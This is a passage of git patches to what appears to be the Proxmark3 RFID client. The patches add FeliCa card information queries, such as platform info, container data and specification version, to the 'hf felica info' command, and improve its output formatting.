_YELLOW_("%s"), sprint_hex(card.servicecode, sizeof(card.servicecode))); - PrintAndLogEx(NORMAL, ""); set_last_known_card(card); + const uint8_t optional_flags = FELICA_NO_DISCONNECT | FELICA_APPEND_CRC | FELICA_RAW; + + felica_get_platform_info_request_t platform_info_request; + memset(&platform_info_request, 0, sizeof(platform_info_request)); + platform_info_request.length[0] = sizeof(platform_info_request); + platform_info_request.command_code[0] = FELICA_GETPLATFORMINFO_REQ; + memcpy(platform_info_request.IDm, card.IDm, sizeof(platform_info_request.IDm)); + + felica_status_flags_t platform_status_flags; + uint8_t platform_information_data[FELICA_PLATFORM_INFO_MAX_LEN] = {0}; + size_t platform_information_data_len = 0; + if (send_get_platform_information(optional_flags, + sizeof(platform_info_request), (uint8_t *)&platform_info_request, + false, &platform_status_flags, platform_information_data, + sizeof(platform_information_data), + &platform_information_data_len) == PM3_SUCCESS && + platform_information_data_len > 0) { + PrintAndLogEx(INFO, "Platform info.. %s", sprint_hex_inrow(platform_information_data, platform_information_data_len)); + } + + felica_get_container_id_request_t container_id_request; + memset(&container_id_request, 0, sizeof(container_id_request)); + container_id_request.length[0] = sizeof(container_id_request); + container_id_request.command_code[0] = FELICA_GET_CONTAINER_ID_REQ; + + felica_get_container_id_response_t container_id_response; + if (send_get_container_id(optional_flags, sizeof(container_id_request), + (uint8_t *)&container_id_request, false, + &container_id_response) == PM3_SUCCESS) { + PrintAndLogEx(INFO, "Container IDm.. " _YELLOW_("%s"), + sprint_hex_inrow(container_id_response.container_idm, sizeof(container_id_response.container_idm))); + } + + felica_get_container_issue_info_request_t container_issue_info_request; + memset(&container_issue_info_request, 0, sizeof(container_issue_info_request)); + container_issue_info_request.length[0] = sizeof(container_issue_info_request); + container_issue_info_request.command_code[0] = FELICA_GET_CONTAINER_ISSUE_INFO_REQ; + memcpy(container_issue_info_request.IDm, card.IDm, sizeof(container_issue_info_request.IDm)); + + felica_get_container_issue_info_response_t container_issue_info_response; + if (send_get_container_issue_information(optional_flags, + sizeof(container_issue_info_request), (uint8_t *)&container_issue_info_request, false, + &container_issue_info_response) == PM3_SUCCESS) { + char model_ascii[sizeof(container_issue_info_response.mobile_phone_model_information) + 1] = {0}; + bool model_is_ascii = decode_zero_padded_ascii( + container_issue_info_response.mobile_phone_model_information, + sizeof(container_issue_info_response.mobile_phone_model_information), + model_ascii, + sizeof(model_ascii) + ); + PrintAndLogEx(INFO, "Container issue info:"); + PrintAndLogEx(INFO, " Format/Carrier... %s", + sprint_hex_inrow(container_issue_info_response.format_version_carrier_information, + sizeof(container_issue_info_response.format_version_carrier_information))); + if (model_is_ascii) { + PrintAndLogEx(INFO, " Model............ %s (ASCII)", model_ascii); + } else { + PrintAndLogEx(INFO, " Model............ %s (HEX)", + sprint_hex_inrow(container_issue_info_response.mobile_phone_model_information, + sizeof(container_issue_info_response.mobile_phone_model_information))); + } + } + + const uint16_t container_properties[] = {0x0000, 0x0001}; + uint8_t container_property_data[FELICA_CONTAINER_PROPERTY_MAX_LEN] = {0}; + bool has_container_properties = false; + for (size_t i = 0; i < (sizeof(container_properties) / sizeof(container_properties[0])); i++) { + felica_get_container_property_request_t container_property_request; + memset(&container_property_request, 0, sizeof(container_property_request)); + container_property_request.length[0] = sizeof(container_property_request); + container_property_request.command_code[0] = FELICA_GET_CONTAINER_PROPERTY_REQ; + container_property_request.property_index[0] = container_properties[i] & 0xFF; + container_property_request.property_index[1] = (container_properties[i] >> 8) & 0xFF; + + size_t container_property_data_len = 0; + if (send_get_container_property(optional_flags, sizeof(container_property_request), + (uint8_t *)&container_property_request, false, + container_property_data, sizeof(container_property_data), + &container_property_data_len) == PM3_SUCCESS && + container_property_data_len > 0) { + if (has_container_properties == false) { + PrintAndLogEx(INFO, "Container properties:"); + has_container_properties = true; + } + PrintAndLogEx(INFO, " 0x%04X........... %s", container_properties[i], + sprint_hex_inrow(container_property_data, container_property_data_len)); + } + } + + DropField(); + PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; } @@ -600,29 +850,30 @@ static void log_felica_retry_attempt(const char *request_name, uint32_t attempt, * @return PM3_SUCCESS on success */ static int send_felica_payload_with_retries(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, - int expected_response_cmd, uint32_t timeout_ms, uint32_t retries, PacketResponseNG *resp, const char *request_name) { + int expected_response_cmd, uint32_t timeout_ms, uint32_t retries, bool logging, + PacketResponseNG *resp, const char *request_name) { for (uint32_t attempt = 0; attempt <= retries; attempt++) { clear_and_send_command(flags, datalen, data, verbose); - if (waitCmdFelicaEx(false, resp, verbose, timeout_ms) == false) { - if (attempt < retries) { + if (waitCmdFelicaEx(false, resp, verbose, logging, timeout_ms) == false) { + if (logging && attempt < retries) { log_felica_retry_attempt(request_name, attempt, retries); } continue; } if (expected_response_cmd >= 0) { - if (resp->length < sizeof(felica_frame_response_t)) { - if (attempt < retries) { + if (resp->length < sizeof(felica_frame_response_noidm_t)) { + if (logging && attempt < retries) { log_felica_retry_attempt(request_name, attempt, retries); } continue; } - const felica_frame_response_t *frame_response = (const felica_frame_response_t *)resp->data.asBytes; + const felica_frame_response_noidm_t *frame_response = (const felica_frame_response_noidm_t *)resp->data.asBytes; if (frame_response->cmd_code[0] != (uint8_t)expected_response_cmd) { - if (attempt < retries) { + if (logging && attempt < retries) { log_felica_retry_attempt(request_name, attempt, retries); - } else { + } else if (logging) { PrintAndLogEx(FAILED, "Bad response cmd 0x%02X (expected 0x%02X).", frame_response->cmd_code[0], (uint8_t)expected_response_cmd); } @@ -647,6 +898,7 @@ int send_request_service(uint8_t flags, uint16_t datalen, uint8_t *data, bool ve if (send_felica_payload_with_retries(flags, datalen, data, verbose, 0x03, FELICA_DEFAULT_TIMEOUT_MS, 0, + true, &resp, "request service") != PM3_SUCCESS) { PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; @@ -679,6 +931,7 @@ static int send_read_without_encryption_ex(uint8_t flags, uint16_t datalen, uint PacketResponseNG resp; if (send_felica_payload_with_retries(flags, datalen, data, verbose, 0x07, timeout_ms, retries, + true, &resp, "read without encryption") != PM3_SUCCESS) { PrintAndLogEx(ERR, "No response from card"); return PM3_ERFTRANS; @@ -715,6 +968,7 @@ static int send_search_service_code(uint8_t flags, uint16_t datalen, uint8_t *da PacketResponseNG resp; if (send_felica_payload_with_retries(flags, datalen, data, verbose, 0x0B, timeout_ms, retries, + true, &resp, "search service") != PM3_SUCCESS) { PrintAndLogEx(ERR, "No response from card"); return PM3_ERFTRANS; @@ -754,6 +1008,7 @@ static int send_write_without_encryption(uint8_t flags, uint16_t datalen, uint8_ if (send_felica_payload_with_retries(flags, datalen, data, verbose, -1, FELICA_DEFAULT_TIMEOUT_MS, 0, + true, &resp, "write block") != PM3_SUCCESS) { PrintAndLogEx(ERR, "no response from card"); return PM3_ERFTRANS; diff --git a/client/src/util.c b/client/src/util.c index b6ddd046c..d9a8c49e4 100644 --- a/client/src/util.c +++ b/client/src/util.c @@ -1368,6 +1368,39 @@ void clean_ascii(unsigned char *buf, size_t len) { } } +bool decode_zero_padded_ascii(const uint8_t *data, size_t data_len, char *out, size_t out_len) { + if (data == NULL || out == NULL || out_len == 0) { + return false; + } + + size_t text_len = 0; + while (text_len < data_len && data[text_len] != 0x00) { + if (data[text_len] < 0x20 || data[text_len] > 0x7E) { + return false; + } + text_len++; + } + + if (text_len == 0 || text_len == data_len) { + return false; + } + + for (size_t i = text_len; i < data_len; i++) { + if (data[i] != 0x00) { + return false; + } + } + + size_t copy_len = text_len; + if (copy_len > out_len - 1) { + copy_len = out_len - 1; + } + + memcpy(out, data, copy_len); + out[copy_len] = '\0'; + return true; +} + // replace \r \n to \0 void str_cleanrn(char *buf, size_t len) { str_creplace(buf, len, '\n', '\0'); diff --git a/client/src/util.h b/client/src/util.h index 186f2e2a7..2a5250489 100644 --- a/client/src/util.h +++ b/client/src/util.h @@ -166,6 +166,7 @@ void strn_upper(char *s, size_t n); bool str_startswith(const char *s, const char *pre); // check for prefix in string bool str_endswith(const char *s, const char *suffix); // check for suffix in string void clean_ascii(unsigned char *buf, size_t len); +bool decode_zero_padded_ascii(const uint8_t *data, size_t data_len, char *out, size_t out_len); void str_cleanrn(char *buf, size_t len); void str_creplace(char *buf, size_t len, char from, char to); void str_reverse(char *buf, size_t len); diff --git a/include/iso18.h b/include/iso18.h index 95cf16ed6..73e20dd9a 100644 --- a/include/iso18.h +++ b/include/iso18.h @@ -81,11 +81,58 @@ typedef struct { uint8_t IDm[8]; } PACKED felica_frame_response_t; +typedef struct { + uint8_t sync[2]; + uint8_t length[1]; + uint8_t cmd_code[1]; +} PACKED felica_frame_response_noidm_t; + typedef struct { uint8_t status_flag1[1]; uint8_t status_flag2[1]; } PACKED felica_status_flags_t; +typedef struct { + uint8_t length[1]; + uint8_t command_code[1]; + uint8_t reserved[2]; +} PACKED felica_get_container_id_request_t; + +typedef struct { + felica_frame_response_noidm_t frame_response; + uint8_t container_idm[8]; +} PACKED felica_get_container_id_response_t; + +typedef struct { + uint8_t length[1]; + uint8_t command_code[1]; + uint8_t property_index[2]; +} PACKED felica_get_container_property_request_t; + +typedef struct { + felica_frame_response_noidm_t frame_response; + uint8_t property_data[]; +} PACKED felica_get_container_property_response_t; + +typedef struct { + uint8_t length[1]; + uint8_t command_code[1]; + uint8_t IDm[8]; + uint8_t reserved[2]; +} PACKED felica_get_container_issue_info_request_t; + +typedef struct { + felica_frame_response_t frame_response; + uint8_t format_version_carrier_information[5]; + uint8_t mobile_phone_model_information[11]; +} PACKED felica_get_container_issue_info_response_t; + +typedef struct { + uint8_t length[1]; + uint8_t command_code[1]; + uint8_t IDm[8]; +} PACKED felica_get_platform_info_request_t; + typedef struct { felica_frame_response_t frame_response; uint8_t node_number[1]; diff --git a/include/protocols.h b/include/protocols.h index 43cb94c29..b8522a53b 100644 --- a/include/protocols.h +++ b/include/protocols.h @@ -849,12 +849,21 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define FELICA_WRTSEC_REQ 0x16 #define FELICA_WRTSEC_ACK 0x17 +#define FELICA_GET_CONTAINER_ISSUE_INFO_REQ 0x22 +#define FELICA_GET_CONTAINER_ISSUE_INFO_ACK 0x23 + +#define FELICA_GET_CONTAINER_PROPERTY_REQ 0x2e +#define FELICA_GET_CONTAINER_PROPERTY_ACK 0x2f + #define FELICA_REQSRV2_REQ 0x32 #define FELICA_REQSRV2_ACK 0x33 #define FELICA_GETSTATUS_REQ 0x38 #define FELICA_GETSTATUS_ACK 0x39 +#define FELICA_GETPLATFORMINFO_REQ 0x3a +#define FELICA_GETPLATFORMINFO_ACK 0x3b + #define FELICA_OSVER_REQ 0x3c #define FELICA_OSVER_ACK 0x3d @@ -875,6 +884,9 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define FELICA_UPDATE_RNDID_REQ 0x4C #define FELICA_UPDATE_RNDID_ACK 0x4D +#define FELICA_GET_CONTAINER_ID_REQ 0x70 +#define FELICA_GET_CONTAINER_ID_ACK 0x71 + // FeliCa SYSTEM list #define SYSTEMCODE_ANY 0xffff // ANY #define SYSTEMCODE_FELICA_LITE 0x88b4 // FeliCa Lite From 10a3fa7e6d78c5bf7fc4e00395a833aa3ba76fa2 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Thu, 5 Mar 2026 20:30:30 +0200 Subject: [PATCH 058/162] Add request specification version to 'hf felica info' --- client/src/cmdhffelica.c | 210 +++++++++++++++++++++++++++++++-------- client/src/cmdhflist.c | 8 +- include/iso18.h | 28 ++++-- include/protocols.h | 4 +- 4 files changed, 194 insertions(+), 56 deletions(-) diff --git a/client/src/cmdhffelica.c b/client/src/cmdhffelica.c index 37c7561f2..dac0c4f80 100644 --- a/client/src/cmdhffelica.c +++ b/client/src/cmdhffelica.c @@ -287,6 +287,66 @@ static const char *felica_model_name(uint8_t rom_type, uint8_t ic_type) { return "Unknown IC Type"; } +static const char *felica_specification_option_name(size_t option_index) { + switch (option_index) { + case 0: + return "DES....................."; + case 1: + return "Special................."; + case 2: + return "Extended Overlap........"; + case 3: + return "Value-Limited Purse....."; + case 4: + return "Communication with MAC.."; + default: + return "Unknown................."; + } +} + +static void print_specification_versions(int level, + const felica_request_specification_version_info_t *specification_version_info, + bool include_hex) { + if (specification_version_info == NULL || specification_version_info->has_specification_version == false) { + return; + } + + uint8_t basic_major = specification_version_info->basic_version[1] & 0x0F; + uint8_t basic_minor = (specification_version_info->basic_version[0] >> 4) & 0x0F; + uint8_t basic_patch = specification_version_info->basic_version[0] & 0x0F; + PrintAndLogEx(level, "Versions:"); + + PrintAndLogEx(level, " Format version.......... " _GREEN_("%02X"), specification_version_info->format_version); + + PrintAndLogEx(level, " Option count............ " _GREEN_("%u"), specification_version_info->number_of_option); + + if (include_hex) { + PrintAndLogEx(level, " Specification........... " _GREEN_("%u.%u.%u") " (" _YELLOW_("0x%02X%02X") ")", + basic_major, basic_minor, basic_patch, + specification_version_info->basic_version[0], + specification_version_info->basic_version[1]); + } else { + PrintAndLogEx(level, " Specification........... " _GREEN_("%u.%u.%u"), basic_major, basic_minor, basic_patch); + } + + for (size_t i = 0; i < specification_version_info->option_version_count; i++) { + const uint8_t *option = specification_version_info->option_version_list + (i * 2); + uint8_t option_major = option[1] & 0x0F; + uint8_t option_minor = (option[0] >> 4) & 0x0F; + uint8_t option_patch = option[0] & 0x0F; + const char *option_name = felica_specification_option_name(i); + + if (include_hex) { + PrintAndLogEx(level, " %s " _GREEN_("%u.%u.%u") " (" _YELLOW_("0x%02X%02X") ")", + option_name, option_major, option_minor, option_patch, + option[0], option[1]); + } else { + PrintAndLogEx(level, " %s " _GREEN_("%u.%u.%u"), + option_name, option_major, option_minor, option_patch); + } + } +} + /** * Wait for response from pm3 or timeout. * Checks if receveid bytes have a valid CRC. @@ -582,6 +642,66 @@ static int send_get_platform_information(uint8_t flags, uint16_t datalen, uint8_ return PM3_SUCCESS; } +static int send_request_specification_version(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, + bool logging, uint32_t timeout_ms, uint32_t retries, + felica_request_specification_version_info_t *specification_version_info) { + if (specification_version_info == NULL) { + return PM3_EINVARG; + } + + memset(specification_version_info, 0, sizeof(*specification_version_info)); + + PacketResponseNG resp; + if (send_felica_payload_with_retries(flags, datalen, data, verbose, + FELICA_REQUEST_SPEC_VERSION_ACK, + timeout_ms, retries, + logging, &resp, "request specification version") != PM3_SUCCESS) { + return PM3_ERFTRANS; + } + + if (resp.length < sizeof(felica_status_response_t)) { + return PM3_ESOFT; + } + + const size_t status_offset = sizeof(felica_frame_response_t); + memcpy(&specification_version_info->status_flags, + resp.data.asBytes + status_offset, + sizeof(specification_version_info->status_flags)); + + if (specification_version_info->status_flags.status_flag1[0] != 0x00) { + return PM3_SUCCESS; + } + + const size_t specification_offset = sizeof(felica_status_response_t); + if (resp.length < specification_offset + 4) { + return PM3_ESOFT; + } + + specification_version_info->has_specification_version = true; + specification_version_info->format_version = resp.data.asBytes[specification_offset]; + memcpy(specification_version_info->basic_version, + resp.data.asBytes + specification_offset + 1, + sizeof(specification_version_info->basic_version)); + specification_version_info->number_of_option = resp.data.asBytes[specification_offset + 3]; + + const size_t option_bytes = (size_t)specification_version_info->number_of_option * 2U; + const size_t payload_bytes = resp.length - (specification_offset + 4); + if (payload_bytes < option_bytes) { + return PM3_ESOFT; + } + + size_t copy_option_bytes = option_bytes; + if (copy_option_bytes > sizeof(specification_version_info->option_version_list)) { + copy_option_bytes = sizeof(specification_version_info->option_version_list); + } + + memcpy(specification_version_info->option_version_list, + resp.data.asBytes + specification_offset + 4, + copy_option_bytes); + specification_version_info->option_version_count = copy_option_bytes / 2U; + return PM3_SUCCESS; +} + static int info_felica(bool verbose) { clear_and_send_command(FELICA_CONNECT | FELICA_NO_DISCONNECT, 0, NULL, false); @@ -660,6 +780,21 @@ static int info_felica(bool verbose) { PrintAndLogEx(INFO, "Platform info.. %s", sprint_hex_inrow(platform_information_data, platform_information_data_len)); } + felica_request_specification_version_request_t request_specification_version_request; + memset(&request_specification_version_request, 0, sizeof(request_specification_version_request)); + request_specification_version_request.length[0] = sizeof(request_specification_version_request); + request_specification_version_request.command_code[0] = FELICA_REQUEST_SPEC_VERSION_REQ; + memcpy(request_specification_version_request.IDm, card.IDm, sizeof(request_specification_version_request.IDm)); + + felica_request_specification_version_info_t specification_version_info; + if (send_request_specification_version(optional_flags, sizeof(request_specification_version_request), + (uint8_t *)&request_specification_version_request, false, + false, FELICA_OPTIONAL_CMD_TIMEOUT_MS, FELICA_OPTIONAL_CMD_RETRIES, + &specification_version_info) == PM3_SUCCESS && + specification_version_info.has_specification_version) { + print_specification_versions(INFO, &specification_version_info, true); + } + felica_get_container_id_request_t container_id_request; memset(&container_id_request, 0, sizeof(container_id_request)); container_id_request.length[0] = sizeof(container_id_request); @@ -1797,10 +1932,8 @@ static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) { "Response:\n" " - Format version: Fixed value 00h. Provided only if Status Flag1 = 00h\n" " - Basic version: Each value of version is expressed in BCD notation. Provided only if Status Flag1 = 00h\n" - " - Number of Option: value = 0: AES card, value = 1: AES/DES card. Provided only if Status Flag1 = 00h\n" - " - Option version list: Provided only if Status Flag1 = 00h\n" - " - AES card: not added\n" - " - AES/DES card: DES option version is added - BCD notation", + " - Number of Option: number of entries in Option Version List.\n" + " - Option version list: BCD notation (major.minor.patch), little-endian, provided only if Status Flag1 = 00h", "hf felica rqspecver\n" "hf felica rqspecver -r 0001\n" @@ -1838,63 +1971,58 @@ static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) { } CLIParserFree(ctx); - uint8_t data[PM3_CMD_DATA_SIZE]; - memset(data, 0, sizeof(data)); - data[0] = 0x0C; // Static length - data[1] = 0x3C; // Command ID + felica_request_specification_version_request_t request_specification_version_request; + memset(&request_specification_version_request, 0, sizeof(request_specification_version_request)); + request_specification_version_request.length[0] = sizeof(request_specification_version_request); + request_specification_version_request.command_code[0] = FELICA_REQUEST_SPEC_VERSION_REQ; bool custom_IDm = false; - - // add custom idm if (ilen) { custom_IDm = true; - memcpy(data + 2, idm, sizeof(idm)); + memcpy(request_specification_version_request.IDm, idm, sizeof(idm)); } - // add custom reserved if (rlen) { - memcpy(data + 10, reserved, sizeof(reserved)); - } else { - data[10] = 0x00; // Reserved Value - data[11] = 0x00; // Reserved Value + memcpy(request_specification_version_request.reserved, reserved, sizeof(reserved)); } - uint16_t datalen = 12; // Length (1), Command ID (1), IDm (8), Reserved (2) - if (custom_IDm == false && check_last_idm(data, datalen) == false) { + if (custom_IDm == false && + check_last_idm((uint8_t *)&request_specification_version_request, + sizeof(request_specification_version_request)) == false) { return PM3_EINVARG; } - uint8_t flags = (FELICA_APPEND_CRC | FELICA_RAW); - - clear_and_send_command(flags, datalen, data, 0); - - PacketResponseNG resp; - if (waitCmdFelica(false, &resp, true) == false) { + felica_request_specification_version_info_t specification_version_info; + uint8_t flags = FELICA_APPEND_CRC | FELICA_RAW; + if (send_request_specification_version(flags, sizeof(request_specification_version_request), + (uint8_t *)&request_specification_version_request, + verbose, + true, FELICA_DEFAULT_TIMEOUT_MS, 0, + &specification_version_info) != PM3_SUCCESS) { PrintAndLogEx(FAILED, "Got no response from card"); return PM3_ERFTRANS; } - felica_request_spec_response_t spec_response; - memcpy(&spec_response, (felica_request_spec_response_t *)resp.data.asBytes, sizeof(felica_request_spec_response_t)); + PrintAndLogEx(SUCCESS, "Got Request Response"); + PrintAndLogEx(SUCCESS, "IDm............ %s", + sprint_hex(request_specification_version_request.IDm, sizeof(request_specification_version_request.IDm))); + PrintAndLogEx(SUCCESS, "Status Flag1... %s", + sprint_hex(specification_version_info.status_flags.status_flag1, + sizeof(specification_version_info.status_flags.status_flag1))); + PrintAndLogEx(SUCCESS, "Status Flag2... %s", + sprint_hex(specification_version_info.status_flags.status_flag2, + sizeof(specification_version_info.status_flags.status_flag2))); - if (spec_response.frame_response.IDm[0] != 0) { - PrintAndLogEx(SUCCESS, "Got Request Response"); - PrintAndLogEx(SUCCESS, "IDm............ %s", sprint_hex(spec_response.frame_response.IDm, sizeof(spec_response.frame_response.IDm))); - PrintAndLogEx(SUCCESS, "Status Flag1... %s", sprint_hex(spec_response.status_flags.status_flag1, sizeof(spec_response.status_flags.status_flag1))); - PrintAndLogEx(SUCCESS, "Status Flag2... %s", sprint_hex(spec_response.status_flags.status_flag2, sizeof(spec_response.status_flags.status_flag2))); + if (specification_version_info.has_specification_version) { + print_specification_versions(SUCCESS, &specification_version_info, true); - if (spec_response.status_flags.status_flag1[0] == 0) { - PrintAndLogEx(SUCCESS, "Format Version..... %s", sprint_hex(spec_response.format_version, sizeof(spec_response.format_version))); - PrintAndLogEx(SUCCESS, "Basic Version...... %s", sprint_hex(spec_response.basic_version, sizeof(spec_response.basic_version))); - PrintAndLogEx(SUCCESS, "Number of Option... %s", sprint_hex(spec_response.number_of_option, sizeof(spec_response.number_of_option))); - if (spec_response.number_of_option[0] == 1) { - PrintAndLogEx(SUCCESS, "Option Version List..."); - for (int i = 0; i < spec_response.number_of_option[0]; i++) { - PrintAndLogEx(SUCCESS, " - %s", sprint_hex(spec_response.option_version_list + i * 2, 2)); - } - } + if (specification_version_info.option_version_count < specification_version_info.number_of_option) { + PrintAndLogEx(WARNING, "Truncated Option Version List: card returned %u entries, showing %zu", + specification_version_info.number_of_option, + specification_version_info.option_version_count); } } + return PM3_SUCCESS; } diff --git a/client/src/cmdhflist.c b/client/src/cmdhflist.c index c8d3a243c..8a8599c8e 100644 --- a/client/src/cmdhflist.c +++ b/client/src/cmdhflist.c @@ -2049,11 +2049,11 @@ void annotateFelica(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { case FELICA_GETSTATUS_ACK: snprintf(exp, size, "GET STATUS ACK"); break; - case FELICA_OSVER_REQ: - snprintf(exp, size, "REQUEST SPECIFIC VERSION"); + case FELICA_REQUEST_SPEC_VERSION_REQ: + snprintf(exp, size, "REQUEST SPEC VERSION"); break; - case FELICA_OSVER_ACK: - snprintf(exp, size, "RSV ACK"); + case FELICA_REQUEST_SPEC_VERSION_ACK: + snprintf(exp, size, "REQUEST SPEC ACK"); break; case FELICA_RESET_MODE_REQ: snprintf(exp, size, "RESET MODE"); diff --git a/include/iso18.h b/include/iso18.h index 73e20dd9a..3ca4d04b5 100644 --- a/include/iso18.h +++ b/include/iso18.h @@ -20,6 +20,8 @@ #include "common.h" +#define FELICA_SPECIFICATION_VERSION_MAX_OPTIONS 16U + typedef enum FELICA_COMMAND { FELICA_CONNECT = (1 << 0), FELICA_NO_DISCONNECT = (1 << 1), @@ -133,6 +135,23 @@ typedef struct { uint8_t IDm[8]; } PACKED felica_get_platform_info_request_t; +typedef struct { + uint8_t length[1]; + uint8_t command_code[1]; + uint8_t IDm[8]; + uint8_t reserved[2]; +} PACKED felica_request_specification_version_request_t; + +typedef struct { + felica_status_flags_t status_flags; + bool has_specification_version; + uint8_t format_version; + uint8_t basic_version[2]; + uint8_t number_of_option; + size_t option_version_count; + uint8_t option_version_list[FELICA_SPECIFICATION_VERSION_MAX_OPTIONS * 2]; +} felica_request_specification_version_info_t; + typedef struct { felica_frame_response_t frame_response; uint8_t node_number[1]; @@ -162,15 +181,6 @@ typedef struct { uint8_t system_code_list[32]; } PACKED felica_syscode_response_t; -typedef struct { - felica_frame_response_t frame_response; - felica_status_flags_t status_flags; - uint8_t format_version[1]; - uint8_t basic_version[2]; - uint8_t number_of_option[1]; - uint8_t option_version_list[4]; -} PACKED felica_request_spec_response_t; - typedef struct { felica_frame_response_t frame_response; uint8_t m2c[8]; diff --git a/include/protocols.h b/include/protocols.h index b8522a53b..2b84fcd35 100644 --- a/include/protocols.h +++ b/include/protocols.h @@ -864,8 +864,8 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define FELICA_GETPLATFORMINFO_REQ 0x3a #define FELICA_GETPLATFORMINFO_ACK 0x3b -#define FELICA_OSVER_REQ 0x3c -#define FELICA_OSVER_ACK 0x3d +#define FELICA_REQUEST_SPEC_VERSION_REQ 0x3c +#define FELICA_REQUEST_SPEC_VERSION_ACK 0x3d #define FELICA_RESET_MODE_REQ 0x3e #define FELICA_RESET_MODE_ACK 0x3f From 90c6884f4c680bf10a65b1c3e9da76fb092695a5 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Thu, 5 Mar 2026 20:48:10 +0200 Subject: [PATCH 059/162] Improve output format for 'hf felica info' --- client/src/cmdhffelica.c | 49 +++++++++++++++++++++++++++++----------- 1 file changed, 36 insertions(+), 13 deletions(-) diff --git a/client/src/cmdhffelica.c b/client/src/cmdhffelica.c index dac0c4f80..69c1ab8fc 100644 --- a/client/src/cmdhffelica.c +++ b/client/src/cmdhffelica.c @@ -47,6 +47,9 @@ #define FELICA_DEFAULT_TIMEOUT_MS 2000U #define FELICA_DEFAULT_RETRY_COUNT 3U #define FELICA_PLATFORM_INFO_MAX_LEN 64U +#define FELICA_PLATFORM_INFO_WITH_MAC_INFO_LEN 25U +#define FELICA_PLATFORM_INFO_WITH_MAC_LEN 20U +#define FELICA_PLATFORM_INFO_WITH_MAC_TOTAL_LEN (FELICA_PLATFORM_INFO_WITH_MAC_INFO_LEN + FELICA_PLATFORM_INFO_WITH_MAC_LEN) #define FELICA_CONTAINER_PROPERTY_MAX_LEN 64U #define FELICA_OPTIONAL_CMD_TIMEOUT_MS 250U #define FELICA_OPTIONAL_CMD_RETRIES 3U @@ -347,6 +350,26 @@ static void print_specification_versions(int level, } } +static void print_platform_information(const uint8_t *platform_information_data, + size_t platform_information_data_len) { + if (platform_information_data == NULL || platform_information_data_len == 0) { + return; + } + + if (platform_information_data_len == FELICA_PLATFORM_INFO_WITH_MAC_TOTAL_LEN) { + PrintAndLogEx(INFO, "Platform info:"); + PrintAndLogEx(INFO, " Info.......... " _GREEN_("%s"), + sprint_hex_inrow(platform_information_data, FELICA_PLATFORM_INFO_WITH_MAC_INFO_LEN)); + PrintAndLogEx(INFO, " MAC........... " _GREEN_("%s"), + sprint_hex_inrow(platform_information_data + FELICA_PLATFORM_INFO_WITH_MAC_INFO_LEN, + FELICA_PLATFORM_INFO_WITH_MAC_LEN)); + return; + } + + PrintAndLogEx(INFO, "Platform info.. " _YELLOW_("%s"), + sprint_hex_inrow(platform_information_data, platform_information_data_len)); +} + /** * Wait for response from pm3 or timeout. * Checks if receveid bytes have a valid CRC. @@ -751,14 +774,14 @@ static int info_felica(bool verbose) { memcpy(&card, (felica_card_select_t *)resp.data.asBytes, sizeof(felica_card_select_t)); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "--- " _CYAN_("Tag Information") " ---------------------------"); - PrintAndLogEx(INFO, "IDm............ " _GREEN_("%s"), sprint_hex_inrow(card.IDm, sizeof(card.IDm))); - PrintAndLogEx(INFO, "Code........... %s ", sprint_hex_inrow(card.code, sizeof(card.code))); - PrintAndLogEx(INFO, "NFCID2......... %s", sprint_hex_inrow(card.uid, sizeof(card.uid))); - PrintAndLogEx(INFO, "Parameter"); - PrintAndLogEx(INFO, "PAD............ " _YELLOW_("%s"), sprint_hex_inrow(card.PMm, sizeof(card.PMm))); - PrintAndLogEx(INFO, "IC code........ %s ( " _YELLOW_("%s") " )", sprint_hex_inrow(card.iccode, sizeof(card.iccode)), felica_model_name(card.iccode[0], card.iccode[1])); - PrintAndLogEx(INFO, "MRT............ %s", sprint_hex_inrow(card.mrt, sizeof(card.mrt))); - PrintAndLogEx(INFO, "Service code... " _YELLOW_("%s"), sprint_hex(card.servicecode, sizeof(card.servicecode))); + PrintAndLogEx(INFO, "IDm............ " _YELLOW_("%s"), sprint_hex_inrow(card.IDm, sizeof(card.IDm))); + PrintAndLogEx(INFO, " Code......... " _GREEN_("%s"), sprint_hex_inrow(card.code, sizeof(card.code))); + PrintAndLogEx(INFO, " NFCID2....... " _GREEN_("%s"), sprint_hex_inrow(card.uid, sizeof(card.uid))); + PrintAndLogEx(INFO, "PMM............ " _YELLOW_("%s"), sprint_hex_inrow(card.PMm, sizeof(card.PMm))); + PrintAndLogEx(INFO, " IC code...... " _GREEN_("%s") " ( %s )", + sprint_hex_inrow(card.iccode, sizeof(card.iccode)), + felica_model_name(card.iccode[0], card.iccode[1])); + PrintAndLogEx(INFO, " MRT.......... " _GREEN_("%s"), sprint_hex_inrow(card.mrt, sizeof(card.mrt))); set_last_known_card(card); const uint8_t optional_flags = FELICA_NO_DISCONNECT | FELICA_APPEND_CRC | FELICA_RAW; @@ -777,7 +800,7 @@ static int info_felica(bool verbose) { sizeof(platform_information_data), &platform_information_data_len) == PM3_SUCCESS && platform_information_data_len > 0) { - PrintAndLogEx(INFO, "Platform info.. %s", sprint_hex_inrow(platform_information_data, platform_information_data_len)); + print_platform_information(platform_information_data, platform_information_data_len); } felica_request_specification_version_request_t request_specification_version_request; @@ -826,13 +849,13 @@ static int info_felica(bool verbose) { sizeof(model_ascii) ); PrintAndLogEx(INFO, "Container issue info:"); - PrintAndLogEx(INFO, " Format/Carrier... %s", + PrintAndLogEx(INFO, " Format/Carrier... " _YELLOW_("%s"), sprint_hex_inrow(container_issue_info_response.format_version_carrier_information, sizeof(container_issue_info_response.format_version_carrier_information))); if (model_is_ascii) { - PrintAndLogEx(INFO, " Model............ %s (ASCII)", model_ascii); + PrintAndLogEx(INFO, " Model............ " _GREEN_("%s") " (ASCII)", model_ascii); } else { - PrintAndLogEx(INFO, " Model............ %s (HEX)", + PrintAndLogEx(INFO, " Model............ " _YELLOW_("%s") " (HEX)", sprint_hex_inrow(container_issue_info_response.mobile_phone_model_information, 